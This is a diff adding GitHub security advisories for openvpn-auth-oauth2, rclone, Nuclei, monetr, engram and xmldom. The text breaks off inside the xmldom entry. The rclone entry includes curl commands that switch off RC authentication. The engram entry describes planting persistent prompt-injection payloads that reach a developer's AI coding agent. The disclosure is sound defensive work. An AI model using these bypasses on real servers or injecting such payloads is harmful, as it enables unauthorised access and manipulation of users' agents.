diff --git a/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json b/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json index 5d6ec2fc96526..cc008164952cf 100644 --- a/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json +++ b/advisories/github-reviewed/2026/01/GHSA-6497-prx7-gpmq/GHSA-6497-prx7-gpmq.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-6497-prx7-gpmq", - "modified": "2026-02-01T18:09:10Z", + "modified": "2026-04-21T21:31:18Z", "published": "2026-01-30T21:30:22Z", "aliases": [ "CVE-2025-69662" @@ -63,6 +63,10 @@ { "type": "WEB", "url": "https://github.com/geopandas/geopandas/releases/tag/v1.1.2" + }, + { + "type": "WEB", + "url": "https://lists.debian.org/debian-lts-announce/2026/04/msg00025.html" } ], "database_specific": { diff --git a/advisories/github-reviewed/2026/02/GHSA-4hfh-fch3-5q7p/GHSA-4hfh-fch3-5q7p.json b/advisories/github-reviewed/2026/02/GHSA-4hfh-fch3-5q7p/GHSA-4hfh-fch3-5q7p.json index a079fd9c57ac1..ec4420a691987 100644 --- a/advisories/github-reviewed/2026/02/GHSA-4hfh-fch3-5q7p/GHSA-4hfh-fch3-5q7p.json +++ b/advisories/github-reviewed/2026/02/GHSA-4hfh-fch3-5q7p/GHSA-4hfh-fch3-5q7p.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-4hfh-fch3-5q7p", - "modified": "2026-02-23T22:21:47Z", + "modified": "2026-04-22T16:24:14Z", "published": "2026-02-19T19:40:08Z", "aliases": [ "CVE-2026-27120" @@ -18,7 +18,7 @@ { "package": { "ecosystem": "SwiftURL", - "name": "leaf-kit" + "name": "github.com/vapor/leaf-kit" }, "ranges": [ { diff --git a/advisories/github-reviewed/2026/04/GHSA-246w-jgmq-88fg/GHSA-246w-jgmq-88fg.json b/advisories/github-reviewed/2026/04/GHSA-246w-jgmq-88fg/GHSA-246w-jgmq-88fg.json new file mode 100644 index 0000000000000..3b6c07ba41e0f --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-246w-jgmq-88fg/GHSA-246w-jgmq-88fg.json @@ -0,0 +1,77 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-246w-jgmq-88fg", + "modified": "2026-04-22T14:28:11Z", + "published": "2026-04-22T14:28:11Z", + "aliases": [ + "CVE-2026-41070" + ], + "summary": "openvpn-auth-oauth2 returns FUNC_SUCCESS on client-deny, allowing unauthenticated VPN access", + "details": "# Summary\n\nWhen `openvpn-auth-oauth2` is deployed in the **experimental plugin mode** (shared library loaded by OpenVPN via the `plugin` directive), clients that do not support WebAuth/SSO (e.g., the `openvpn` CLI on Linux) are incorrectly admitted to the VPN despite being denied by the authentication logic. **The default management-interface mode is not affected** because it does not use the OpenVPN plugin return-code mechanism.\n\n# Impact\n\n**Authentication bypass — any VPN client that does not advertise WebAuth/SSO support (`IV_SSO=webauth`) is granted full network access without completing OIDC authentication.**\n\nThis affects only deployments running the **experimental plugin mode** in versions 1.26.3 through 1.27.2. The default and recommended deployment via the management interface is **not affected**.\n\nAn unauthenticated attacker can connect to the OpenVPN server using any standard OpenVPN client that does not support webauth (e.g., the Linux `openvpn` CLI). The plugin correctly issues a `client-deny` command via the management interface, but returns `OPENVPN_PLUGIN_FUNC_SUCCESS` (status=0) to OpenVPN. Because the `auth_control_file` content is only consulted when the plugin returns `FUNC_DEFERRED`, OpenVPN interprets status=0 as \"authentication passed\" and admits the client — granting full access to the internal network behind the VPN.\n\n\n## Root Cause\n\nIn `lib/openvpn-auth-oauth2/openvpn/handle.go`, the `ClientAuthDeny` branch of `handleAuthUserPassVerify` wrote `\"0\"` (deny) to the `auth_control_file` but returned `OPENVPN_PLUGIN_FUNC_SUCCESS`. OpenVPN only reads the `auth_control_file` when the plugin returns `FUNC_DEFERRED`; a synchronous `FUNC_SUCCESS` return is treated as immediate approval regardless of file contents.\n\n**Before fix:**\n```go\ncase management.ClientAuthDeny:\n // ... writes \"0\" to auth_control_file ...\n if err := openVPNClient.WriteToAuthFile(\"0\"); err != nil {\n // only returned ERROR on write failure\n return c.OpenVPNPluginFuncError\n }\n return c.OpenVPNPluginFuncSuccess // ← BUG: OpenVPN sees this as \"auth passed\"\n```\n\n**After fix (commit [`36f69a6`](https://github.com/jkroepke/openvpn-auth-oauth2/commit/36f69a6c67c1054da7cbfa04ced3f0555127c8f2)):**\n```go\ncase management.ClientAuthDeny:\n // ... writes \"0\" to auth_control_file ...\n if err := openVPNClient.WriteToAuthFile(\"0\"); err != nil {\n logger.ErrorContext(p.ctx, \"write to auth file\", slog.Any(\"err\", err))\n }\n return c.OpenVPNPluginFuncError // ← FIX: OpenVPN now correctly rejects the client\n```\n\n# Patches\n\nThis vulnerability is fixed in **v1.27.3**. Users of the experimental plugin mode should upgrade immediately.\n\n- **Fix commit:** [`36f69a6`](https://github.com/jkroepke/openvpn-auth-oauth2/commit/36f69a6c67c1054da7cbfa04ced3f0555127c8f2)\n- **Fix PR:** [#829](https://github.com/jkroepke/openvpn-auth-oauth2/pull/829)\n\n# Workarounds\n\n- **Switch to standalone management client mode** (the default, non-plugin deployment). This mode is not affected by the vulnerability because authentication decisions are communicated entirely through the management interface protocol, not through the plugin return code.\n- **Restrict VPN access at the network level** to only clients known to support WebAuth/SSO (e.g., OpenVPN Connect 3+), although this is difficult to enforce reliably and is not recommended as a sole mitigation.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/jkroepke/openvpn-auth-oauth2" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.26.3" + }, + { + "fixed": "1.27.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/jkroepke/openvpn-auth-oauth2/security/advisories/GHSA-246w-jgmq-88fg" + }, + { + "type": "WEB", + "url": "https://github.com/jkroepke/openvpn-auth-oauth2/pull/829" + }, + { + "type": "WEB", + "url": "https://github.com/jkroepke/openvpn-auth-oauth2/commit/36f69a6c67c1054da7cbfa04ced3f0555127c8f2" + }, + { + "type": "WEB", + "url": "https://github.com/OpenVPN/openvpn/blob/master/include/openvpn-plugin.h.in" + }, + { + "type": "WEB", + "url": "https://github.com/OpenVPN/openvpn3/blob/master/doc/webauth.md" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jkroepke/openvpn-auth-oauth2" + }, + { + "type": "WEB", + "url": "https://github.com/jkroepke/openvpn-auth-oauth2/releases/tag/v1.27.3" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-287" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T14:28:11Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-25qr-6mpr-f7qx/GHSA-25qr-6mpr-f7qx.json b/advisories/github-reviewed/2026/04/GHSA-25qr-6mpr-f7qx/GHSA-25qr-6mpr-f7qx.json new file mode 100644 index 0000000000000..e0be1ebf2a07c --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-25qr-6mpr-f7qx/GHSA-25qr-6mpr-f7qx.json @@ -0,0 +1,57 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-25qr-6mpr-f7qx", + "modified": "2026-04-22T14:44:13Z", + "published": "2026-04-22T14:44:13Z", + "aliases": [ + "CVE-2026-41176" + ], + "summary": "Rclone: Unauthenticated options/set allows runtime auth bypass, leading to sensitive operations and command execution", + "details": "### Summary\nThe RC endpoint `options/set` is exposed without `AuthRequired: true`, but it can mutate global runtime configuration, including the RC option block itself. An unauthenticated attacker can set `rc.NoAuth=true`, which disables the authorization gate for many RC methods registered with `AuthRequired: true` on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods.\n\n### Preconditions\n\nPreconditions for this vulnerability are:\n\n- The rclone remote control API **must** be enabled, either by the `--rc` flag or by running the `rclone rcd` server\n- The remote control API **must** be reachable by the attacker - by default rclone only serves the rc to localhost unless the `--rc-addr` flag is in use\n- The rc must have been deployed **without** global RC HTTP authentication - so not using `--rc-user`/`--rc-pass`/`--rc-htpasswd`/etc\n\n### Details\nThe root cause is present from v1.45 onward. Some higher-impact exploitation paths became available in later releases as additional RC functionality was introduced.\n\nThe issue is caused by two properties of the RC implementation:\n\n1. `options/set` is exposed without `AuthRequired: true`\n2. the RC server enforces authorization for `AuthRequired` calls using the mutable runtime value `s.opt.NoAuth`\n\nRelevant code paths:\n\n- [`fs/rc/config.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/config.go)\n - registers `options/set` without `AuthRequired: true`\n - `rcOptionsSet` reshapes attacker-controlled input into global option blocks\n\n- [`fs/rc/rcserver/rcserver.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/rcserver/rcserver.go)\n - request handling checks:\n - `if !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth()`\n - once `rc.NoAuth` is changed to `true`, later `AuthRequired` methods become callable without credentials\n\nThis creates a runtime auth-bypass primitive on the RC interface.\n\nAfter setting `rc.NoAuth=true`, previously protected administrative methods become callable, including configuration and operational endpoints such as:\n\n- `config/listremotes`\n- `config/dump`\n- `config/get`\n- `operations/list`\n- `operations/copyfile`\n- `core/command`\n\nRelevant code for the second-stage command execution path:\n\n- [`fs/metadata.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/metadata.go)\n - `metadataMapper()` uses `exec.Command(...)`\n\n- [`fs/operations/rc.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/operations/rc.go)\n - `operations/copyfile` is normally `AuthRequired: true`\n - once `rc.NoAuth=true`, it becomes reachable without credentials\n\nThis was validating using the following:\n- current `master` as of 2026-04-14: `bf55d5e6d37fd86164a87782191f9e1ffcaafa82`\n- latest public release tested locally: `v1.73.4`\n\nThe issue was also verified on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).\n\n### PoC\n#### Minimal reproduction\nStart a vulnerable server:\n\n```bash\nrclone rcd --rc-addr 127.0.0.1:5572\n```\n\nNo `--rc-user`, no `--rc-pass`, no `--rc-htpasswd`.\n\nFirst confirm that a protected RC method is initially blocked:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/config/listremotes \\\n -H 'Content-Type: application/json' \\\n --data '{}'\n```\n\nExpected result: HTTP 403.\n\nUse unauthenticated `options/set` to disable the auth gate:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/options/set \\\n -H 'Content-Type: application/json' \\\n --data '{\"rc\":{\"NoAuth\":true}}'\n```\n\nExpected result: HTTP 200 `{}`\n\nThen call the same protected method again without credentials:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/config/listremotes \\\n -H 'Content-Type: application/json' \\\n --data '{}'\n```\n\nExpected result: HTTP 200 with a JSON response such as:\n\n```json\n{\"remotes\":[]}\n```\n\n#### Testing performed\nThis was successfully reproduced:\n- on the tester's ocal test environment\n- on a public amd64 Ubuntu host controlled by the tester\n\nUsing the public host, the following was confirmed:\n\n- unauthenticated `options/set` successfully set `rc.NoAuth=true`\n- previously protected RC methods became callable without credentials\n- the issue was reproducible through direct host execution\n\n### Impact\nThis is an authorization bypass on the RC administrative interface.\n\nIt can allow an unauthenticated network attacker, on a reachable RC deployment without global HTTP authentication, to disable the intended auth boundary for protected RC methods and gain access to sensitive configuration and operational functionality.\n\nDepending on the enabled RC surface and runtime configuration, this can further enable higher-impact outcomes such as local file read, credential/config disclosure, filesystem enumeration, and command execution.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/rclone/rclone" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.45.0" + }, + { + "fixed": "1.73.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/rclone/rclone/security/advisories/GHSA-25qr-6mpr-f7qx" + }, + { + "type": "PACKAGE", + "url": "https://github.com/rclone/rclone" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-306" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T14:44:13Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-264v-m8fm-76jm/GHSA-264v-m8fm-76jm.json b/advisories/github-reviewed/2026/04/GHSA-264v-m8fm-76jm/GHSA-264v-m8fm-76jm.json new file mode 100644 index 0000000000000..b6f56c427372c --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-264v-m8fm-76jm/GHSA-264v-m8fm-76jm.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-264v-m8fm-76jm", + "modified": "2026-04-22T19:20:50Z", + "published": "2026-04-22T19:20:50Z", + "aliases": [ + "CVE-2026-34067" + ], + "summary": "nimiq-transaction: Panic via `HistoryTreeProof` length mismatch", + "details": "### Impact\n`HistoryTreeProof::verify` panics on a malformed proof where `history.len() != positions.len()` due to `assert_eq!(history.len(), positions.len())`. \n\nThe proof object is derived from untrusted p2p responses (`ResponseTransactionsProof.proof`) and is therefore attacker-controlled at the network boundary until validated. A malicious peer could trigger a crash by returning a crafted inclusion proof with a length mismatch.\n\n### Patches\n[The patch for this vulnerability](https://github.com/nimiq/core-rs-albatross/commit/6ff0800e8e031363e787c827d8d033e5694e4e6a) is included as part of [v1.3.0](https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0).\n\n### Workarounds\nNo known workarounds know.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "nimiq-transaction" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.2.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-264v-m8fm-76jm" + }, + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/pull/3659" + }, + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/commit/6ff0800e8e031363e787c827d8d033e5694e4e6a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/nimiq/core-rs-albatross" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-617" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T19:20:50Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-29rg-wmcw-hpf4/GHSA-29rg-wmcw-hpf4.json b/advisories/github-reviewed/2026/04/GHSA-29rg-wmcw-hpf4/GHSA-29rg-wmcw-hpf4.json new file mode 100644 index 0000000000000..9101881d4d810 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-29rg-wmcw-hpf4/GHSA-29rg-wmcw-hpf4.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-29rg-wmcw-hpf4", + "modified": "2026-04-22T19:58:47Z", + "published": "2026-04-22T19:58:47Z", + "aliases": [ + "CVE-2026-41646" + ], + "summary": "Nuclei: Local File Read via require() Module Loader Bypass", + "details": "A vulnerability in Nuclei's JavaScript protocol runtime allows JavaScript templates to read local `.js` and `.json` files through the `require()` function, bypassing the default local file access restriction.\n\n**Affected Component**\n\nThe issue is in the JavaScript runtime's module loading system. The goja `require()` function used a default host filesystem loader without routing through the `allow-local-file-access` check.\n\n**Description**\n\nThe goja require() function in Nuclei's JavaScript protocol runtime used the default host filesystem loader, which allowed JavaScript templates to import .js and .json files from anywhere on the host filesystem, ignoring the allow-local-file-access (-lfa) option that controls file access outside the template directory.\n\nThe impact is limited to `.js` and `.json` files, as goja's module loader only resolves those extensions. That said, this is still enough to expose sensitive data stored in JSON configuration files like `package.json`, credential stores, or cloud configuration files sitting on the host filesystem.\n\n**Affected Users**\n\n- **CLI users** running untrusted or third-party JavaScript templates.\n- **SDK users** who have integrated Nuclei into platforms where end-users can supply JavaScript templates, especially when relying on the default file access restriction to limit filesystem reads.\n\n> [!NOTE]\nThe `require()` module loader only resolves `.js` and `.json` files. Other file types cannot be read through this vector.\n\n**Patches**\n\n- The vulnerability is fixed in Nuclei v3.8.0. Upgrading is strongly recommended. \n- Fix reference: #7332\n\n**Mitigation**\n\nUpgrade to Nuclei v3.8.0, where the `require()` registry is rebuilt per execution and file-backed module loads are routed through the same `allow-local-file-access` check as the rest of the filesystem operations.\n\nIn the meantime, avoid running JavaScript templates from unverified sources.\n\n**Workarounds**\n\nIf upgrading is not an option, avoid running untrusted JavaScript templates entirely. There is no flag or configuration that mitigates this on affected versions.\n\n**Acknowledgments**\n\nNuceli thanks @AkashHamal0x01 for reporting this issue through responsible disclosure via security@projectdiscovery.io", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/projectdiscovery/nuclei/v3" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "3.8.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-29rg-wmcw-hpf4" + }, + { + "type": "WEB", + "url": "https://github.com/projectdiscovery/nuclei/pull/7332" + }, + { + "type": "PACKAGE", + "url": "https://github.com/projectdiscovery/nuclei" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-284" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T19:58:47Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-29v9-frvh-c426/GHSA-29v9-frvh-c426.json b/advisories/github-reviewed/2026/04/GHSA-29v9-frvh-c426/GHSA-29v9-frvh-c426.json new file mode 100644 index 0000000000000..d662777d5c6cc --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-29v9-frvh-c426/GHSA-29v9-frvh-c426.json @@ -0,0 +1,71 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-29v9-frvh-c426", + "modified": "2026-04-22T19:57:54Z", + "published": "2026-04-22T19:57:54Z", + "aliases": [ + "CVE-2026-41644" + ], + "summary": "monetr: Server-side request forgery in Lunch Flow link creation and refresh", + "details": "### Impact\n\nA server-side request forgery (SSRF) vulnerability in monetr's Lunch Flow integration allowed any authenticated user on\na self-hosted instance to cause the monetr server to issue HTTP GET requests to arbitrary URLs supplied by the caller,\nwith the response body from non-200 upstream responses reflected back in the API error message.\n\nThe URL validator on `POST /api/lunch_flow/link` only checked the URL scheme and rejected query parameters; it did not\nfilter loopback, RFC1918, link-local, or cloud-provider metadata addresses. The outbound HTTP client read the response\nbody via an unbounded `io.ReadAll`, and the controller intentionally surfaced the resulting error (which contained the\nupstream body) as the JSON `error` field of the API response.\n\n**Who is affected:** self-hosted monetr deployments running the default configuration. Out of the box,\n`LunchFlow.Enabled=true`, `AllowSignUp=true`, and billing is not enforced, so any user who can register on the instance\ncan reach the vulnerable endpoint. Deployments running in a cloud environment where instance metadata is reachable from\nthe pod (e.g. AWS EC2 without IMDSv2 enforced) expand the impact to include potential exposure of instance metadata\nthrough the reflected error body.\n\n**Who is NOT affected:** the hosted `my.monetr.app` service, which runs with `LunchFlow.Enabled=false`. Self-hosted\noperators who had already disabled public sign-up (`MONETR_ALLOW_SIGN_UP=false`) substantially reduce their exposure\nsince only operator-trusted users can reach the endpoint.\n\nA secondary denial-of-service vector also existed: because the outbound response body was read with no size cap, an\nattacker-influenced upstream could return a multi-GB body that monetr would fully buffer into memory.\n\n### Patches\n\nFixed in monetr `v1.12.5`. Users should upgrade to this release or later.\n\nThe fix introduces a new config field `LunchFlow.AllowedApiUrls` (a list of permitted Lunch Flow API URLs) with a\ndefault of `[\"https://lunchflow.app/api/v1\"]`. URLs outside the allowlist are rejected both at link-creation time and at\nclient-construction time, with a server-side warning log on rejection. Response body reads are capped at 10 MiB for both\nsuccess and error paths. The UI renders the API URL field as a disabled pre-filled input when a single URL is allowed,\nor a dropdown when multiple are allowed, so operators who need to use a staging or self-hosted Lunch Flow API opt in\nexplicitly via config.\n\n**Upgrade note for self-hosters with a custom Lunch Flow URL:** if your existing `LunchFlowLink` records point at a URL\nother than `https://lunchflow.app/api/v1`, set your `lunchFlow.allowedApiUrls` in your yaml config to include your\ncustom URL before upgrading. Otherwise existing links will fail on next refresh or sync with a `\"Rejected Lunch Flow API\nURL that is not in the configured allowlist\"` warning in the server log.\n\n### Workarounds\n\nFor operators who cannot upgrade immediately, any of the following materially reduces or eliminates exposure:\n\n- **Disable public sign-up:** set `MONETR_ALLOW_SIGN_UP=false` so only operator-trusted users can reach the vulnerable\nendpoint. Recommended in general for internet-exposed self-hosted deployments.\n- **Disable Lunch Flow entirely:** set `lunchFlow.enabled: false` in your config file. The endpoints will return 404 for\nall callers.\n- **Network-level egress restriction:** restrict outbound HTTP egress from the monetr pod/container to only\n`lunchflow.app` (or whichever legitimate Lunch Flow hosts you use). Blocks the SSRF primitive regardless of\napplication-layer validation.\n- **On AWS EC2 specifically:** enforce IMDSv2 on the instance. This eliminates the cloud-metadata exfil path even if the\nSSRF primitive remains reachable.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:L/SC:H/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/monetr/monetr" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.12.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/monetr/monetr/security/advisories/GHSA-29v9-frvh-c426" + }, + { + "type": "WEB", + "url": "https://github.com/monetr/monetr/pull/3122" + }, + { + "type": "WEB", + "url": "https://github.com/monetr/monetr/commit/c260caa3c573a4a396ec2d264c7641a5d958385b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/monetr/monetr" + }, + { + "type": "WEB", + "url": "https://github.com/monetr/monetr/releases/tag/v1.12.5" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-209", + "CWE-770", + "CWE-918" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T19:57:54Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-2r2p-4cgf-hv7h/GHSA-2r2p-4cgf-hv7h.json b/advisories/github-reviewed/2026/04/GHSA-2r2p-4cgf-hv7h/GHSA-2r2p-4cgf-hv7h.json new file mode 100644 index 0000000000000..04c2a6ac02487 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-2r2p-4cgf-hv7h/GHSA-2r2p-4cgf-hv7h.json @@ -0,0 +1,62 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2r2p-4cgf-hv7h", + "modified": "2026-04-22T14:52:03Z", + "published": "2026-04-22T14:52:03Z", + "aliases": [], + "summary": "engram: HTTP server CORS wildcard + auth-off-by-default enables CSRF graph exfiltration and persistent indirect prompt injection", + "details": "### Summary\n\nThe local HTTP server started by `engram server` (binding `127.0.0.1:7337` by default) was exposed to any browser origin with no authentication unless `ENGRAM_API_TOKEN` was explicitly set. Combined with `Access-Control-Allow-Origin: *` on every response and a body parser that did not require `Content-Type: application/json`, this allowed a malicious web page the developer visited to:\n\n1. **Exfiltrate** the local knowledge graph via `GET /query` and `GET /stats` (function names, file layout, recorded decisions/mistakes).\n2. **Inject persistent prompt-injection payloads** via `POST /learn`, which wrote `mistake`/`decision` nodes that were later surfaced as system-reminders to the user's AI coding agent on every future session and file edit.\n\nSeverity: **High** — confidentiality + persistent indirect prompt injection against the user's coding agent.\n\n### Affected versions\n\n`engramx` >= 1.0.0, < 2.0.2 — any version that shipped the HTTP server.\n\n### Patched in\n\n`engramx@2.0.2`\n\n### Workarounds (if you cannot upgrade)\n\n- Do **not** run `engram server` or `engram ui`.\n- If developers must, set `ENGRAM_API_TOKEN` to a long random value and terminate the server before browsing the web.\n\n### Remediation (applied in 2.0.2)\n\n1. Fail-closed auth on every non-public route — Bearer header or HttpOnly cookie, constant-time comparison, 256-bit auto-generated token at `~/.engram/http-server.token` (0600).\n2. Wildcard CORS removed entirely; default is no CORS headers. Opt-in allowlist via `ENGRAM_ALLOWED_ORIGINS`.\n3. Host + Origin validation — rejects DNS rebinding and Host spoofing.\n4. `Content-Type: application/json` enforced on mutations — blocks the text/plain CSRF vector.\n5. `/ui?token=` bootstrap with `Sec-Fetch-Site` gate — prevents cross-origin oracle probing.\n\n### Credit\n\nDiscovered and responsibly disclosed by @gabiudrescu in engram issue #7.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "engramx" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.0.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/NickCirv/engram/security/advisories/GHSA-2r2p-4cgf-hv7h" + }, + { + "type": "WEB", + "url": "https://github.com/NickCirv/engram/issues/7" + }, + { + "type": "PACKAGE", + "url": "https://github.com/NickCirv/engram" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1188", + "CWE-306", + "CWE-352", + "CWE-942" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T14:52:03Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-2v35-w6hq-6mfw/GHSA-2v35-w6hq-6mfw.json b/advisories/github-reviewed/2026/04/GHSA-2v35-w6hq-6mfw/GHSA-2v35-w6hq-6mfw.json new file mode 100644 index 0000000000000..6f46e4d0f225a --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-2v35-w6hq-6mfw/GHSA-2v35-w6hq-6mfw.json @@ -0,0 +1,139 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2v35-w6hq-6mfw", + "modified": "2026-04-22T20:23:58Z", + "published": "2026-04-22T20:23:57Z", + "aliases": [ + "CVE-2026-41673" + ], + "summary": "xmldom: Uncontrolled recursion in XML serialization leads to DoS", + "details": "## Summary\n\nSeven recursive traversals in `lib/dom.js` operate without a depth limit. A sufficiently deeply\nnested DOM tree causes a `RangeError: Maximum call stack size exceeded`, crashing the application.\n\n**Reported operations:**\n- `Node.prototype.normalize()` — reported by @praveen-kv (email 2026-04-05) and @KarimTantawey (GHSA-fwmp-8wwc-qhv6, via `DOMParser.parseFromString()`)\n- `XMLSerializer.serializeToString()` — reported by @Jvr2022 (GHSA-2v35-w6hq-6mfw) and @KarimTantawey (GHSA-j2hf-fqwf-rrjf)\n\n**Additionally, discovered in research:**\n- `Element.getElementsByTagName()` / `getElementsByTagNameNS()` / `getElementsByClassName()` / `getElementById()`\n- `Node.cloneNode(true)`\n- `Document.importNode(node, true)`\n- `node.textContent` (getter)\n- `Node.isEqualNode(other)`\n\nAll seven share the same root cause: pure-JavaScript recursive tree traversal with no depth guard.\nA single deeply nested document (parsed successfully) triggers any or all of these operations.\n\n---\n\n## Details\n\n### Root cause\n\n`lib/dom.js` implements DOM tree traversals as depth-first recursive functions. Each level of\nelement nesting adds one JavaScript call frame. The JS engine's call stack is finite; once\nexhausted, a `RangeError: Maximum call stack size exceeded` is thrown. This error may not be\ncaught reliably at stack-exhaustion depths because the catch handler itself requires stack\nframes to execute — especially in async scenarios, where an uncaught `RangeError` inside a\ncallback or promise chain can crash the entire Node.js process.\n\nParsing a deeply nested document **succeeds** — the SAX parser in `lib/sax.js` is iterative.\nThe crash occurs during subsequent operations on the parsed DOM.\n\n### `Node.prototype.normalize()` — reported by @praveen-kv\n\n[`lib/dom.js:1296–1308`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L1296-L1308) (main):\n\n```js\nnormalize: function () {\n var child = this.firstChild;\n while (child) {\n var next = child.nextSibling;\n if (next && next.nodeType == TEXT_NODE && child.nodeType == TEXT_NODE) {\n this.removeChild(next);\n child.appendData(next.data);\n } else {\n child.normalize(); // recursive call — no depth guard\n child = next;\n }\n }\n},\n```\n\nCrash threshold (Node.js 18, default stack): ~10,000 levels.\n\n### `XMLSerializer.serializeToString()` — reported by @Jvr2022\n\n[`lib/dom.js:2790–2974`](https://github.com/xmldom/xmldom/blob/9ef2fd297ca527a05ecb11979850317a927cd20c/lib/dom.js#L2790-L2974) (main):\nThe internal `serializeToString` worker recurses into child nodes at four call sites, each\npassing a `visibleNamespaces.slice()` copy. The per-frame allocation causes earlier stack\nexhaustion than `normalize()`.\n\nCrash threshold (Node.js 